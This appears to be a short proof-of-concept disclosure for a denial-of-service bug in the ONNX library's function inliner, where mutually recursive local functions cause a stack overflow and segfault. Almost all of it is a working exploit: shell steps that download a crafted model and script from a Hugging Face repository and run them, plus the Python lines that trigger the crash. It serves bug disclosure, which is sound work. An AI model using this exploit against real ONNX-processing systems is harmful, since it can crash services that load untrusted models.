When Function A calls Function B, and Function B calls Function A, the inliner infinitely recurses until stack overflow.
1pip install onnx
2
3# Download PoC
4wget https://huggingface.co/Yash1106/onnx-inliner-mutual-recursion-dos/resolve/main/mutual_recursion_poc.onnx
5wget https://huggingface.co/Yash1106/onnx-inliner-mutual-recursion-dos/resolve/main/poc_mutual_recursion.py
6
7# Run PoC
8python3 poc_mutual_recursion.py
9# Expected: Exit code 139 (SIGSEGV)
1import onnx
2from onnx import inliner
3
4model = onnx.load("mutual_recursion_poc.onnx")
5inliner.inline_local_functions(model) # CRASHES with SIGSEGV